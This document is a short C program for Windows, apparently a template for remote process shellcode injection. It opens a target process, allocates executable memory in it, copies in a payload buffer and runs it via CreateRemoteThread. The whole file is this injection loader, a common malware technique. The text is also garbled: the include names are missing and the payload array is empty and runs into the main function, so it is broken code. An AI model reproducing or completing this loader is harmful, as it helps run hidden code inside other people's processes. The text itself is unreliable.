#include #include #include #include unsigned char payload[ ] = int main(int argc, char* argv[]) { // Parse the target process ID printf("Target Process ID: %i\n", atoi(argv[1])); HANDLE pHandle = OpenProcess( PROCESS_ALL_ACCESS, FALSE, (DWORD)atoi(argv[1]) ); // Allocate memory in the target process void *alloc_memory; // memory buffer in the remote process alloc_memory = VirtualAllocEx( pHandle, NULL, sizeof(payload), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); // Copy payload data from our process to the remote process WriteProcessMemory( pHandle, alloc_memory, payload, sizeof(payload) , NULL); // Create a remote thread in the target process to execute our payload HANDLE remote_thread = CreateRemoteThread( pHandle, NULL, 0, (LPTHREAD_START_ROUTINE)alloc_memory, NULL, 0, NULL); // Clean up and close the process handle CloseHandle(pHandle); return 0; }